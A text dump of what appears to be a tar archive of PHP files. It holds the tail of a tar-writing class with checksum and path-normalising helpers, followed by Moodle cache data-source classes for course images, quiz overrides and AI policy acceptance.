$filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> index.html000064400000000203152266231430006540 0ustar00 403 Forbidden

Directory access is forbidden.

course_image.php000064400000007132152266531700007731 0ustar00. namespace core_course\cache; use core_cache\data_source_interface; use core_cache\definition; use moodle_url; use core_course_list_element; /** * Class to describe cache data source for course image. * * @package core * @subpackage course * @author Dmitrii Metelkin * @copyright 2021 Catalyst IT * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class course_image implements data_source_interface { /** @var course_image */ protected static $instance = null; /** * Returns an instance of the data source class that the cache can use for loading data using the other methods * specified by this interface. * * @param definition $definition * @return \core_course\cache\course_image */ public static function get_instance_for_cache(definition $definition): course_image { if (is_null(self::$instance)) { self::$instance = new course_image(); } return self::$instance; } /** * Loads the data for the key provided ready formatted for caching. * * @param string|int $key The key to load. * @return string|null The course image URL path, or false if the image does not exist. */ public function load_for_cache($key) { // We should use get_course() instead of get_fast_modinfo() for better performance. $course = get_course($key); $url = $this->get_image_url_from_overview_files($course); // Return only the path. return $url?->out_as_local_url(); } /** * Returns image URL from course overview files. * * @param \stdClass $course Course object. * @return null|moodle_url Image URL or null if the image does not exist. */ protected function get_image_url_from_overview_files(\stdClass $course): moodle_url|null { $courseinlist = new core_course_list_element($course); foreach ($courseinlist->get_course_overviewfiles() as $file) { if ($file->is_valid_image()) { return moodle_url::make_pluginfile_url( $file->get_contextid(), $file->get_component(), $file->get_filearea(), null, $file->get_filepath(), $file->get_filename() ); } } // Returning null if no image found to let it be cached // as false is what cache API returns then a data is not found in cache. return null; } /** * Loads several keys for the cache. * * @param array $keys An array of keys each of which will be string|int. * @return array An array of matching data items. */ public function load_many_for_cache(array $keys): array { $records = []; foreach ($keys as $key) { $records[$key] = $this->load_for_cache($key); } return $records; } } overrides.php000064400000007163152267016470007300 0ustar00. /** * Cache data source for the quiz overrides. * * @package mod_quiz * @copyright 2021 Shamim Rezaie * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ declare(strict_types=1); namespace mod_quiz\cache; use core_cache\data_source_interface; use core_cache\definition; /** * Class quiz_overrides * * @package mod_quiz * @copyright 2021 Shamim Rezaie * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class overrides implements data_source_interface { /** @var overrides the singleton instance of this class. */ protected static $instance = null; /** * Returns an instance of the data source class that the cache can use for loading data using the other methods * specified by this interface. * * @param definition $definition * @return overrides */ public static function get_instance_for_cache(definition $definition): overrides { if (is_null(self::$instance)) { self::$instance = new overrides(); } return self::$instance; } /** * Loads the data for the key provided ready formatted for caching. * * @param string|int $key The key to load. * @return mixed What ever data should be returned, or false if it can't be loaded. * @throws \coding_exception */ public function load_for_cache($key) { global $DB; // Ignore getting data if this is a cache invalidation - {@see \core_cache\helper::purge_by_event()}. if ($key == 'lastinvalidation') { return null; } [$quizid, $ug, $ugid] = explode('_', $key); $quizid = (int) $quizid; switch ($ug) { case 'u': $userid = (int) $ugid; $override = $DB->get_record( 'quiz_overrides', ['quiz' => $quizid, 'userid' => $userid], 'timeopen, timeclose, timelimit, attempts, password' ); break; case 'g': $groupid = (int) $ugid; $override = $DB->get_record( 'quiz_overrides', ['quiz' => $quizid, 'groupid' => $groupid], 'timeopen, timeclose, timelimit, attempts, password' ); break; default: throw new \coding_exception('Invalid cache key'); } // Return null instead of false, because false will not be cached. return $override ?: null; } /** * Loads several keys for the cache. * * @param array $keys An array of keys each of which will be string|int. * @return array An array of matching data items. */ public function load_many_for_cache(array $keys) { $results = []; foreach ($keys as $key) { $results[] = $this->load_for_cache($key); } return $results; } } policy.php000064400000003677152267233070006600 0ustar00. namespace core_ai\cache; use cache_definition; /** * Cache class for AI policy. * * @package core_ai * @copyright 2024 Matt Porritt * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class policy implements \cache_data_source { /** @var policy|null the singleton instance of this class. */ protected static ?policy $instance = null; #[\Override] public static function get_instance_for_cache(cache_definition $definition): policy { if (is_null(self::$instance)) { self::$instance = new self(); } return self::$instance; } #[\Override] public function load_for_cache($key) { global $DB; return $DB->record_exists('ai_policy_register', ['userid' => $key]); } #[\Override] public function load_many_for_cache(array $keys): array { global $DB; $return = []; [$insql, $inparams] = $DB->get_in_or_equal($keys); $sql = "SELECT userid FROM {ai_policy_register} WHERE userid " . $insql; $results = $DB->get_fieldset_sql($sql, $inparams); foreach ($keys as $key) { $return[$key] = in_array($key, $results); } return $return; } }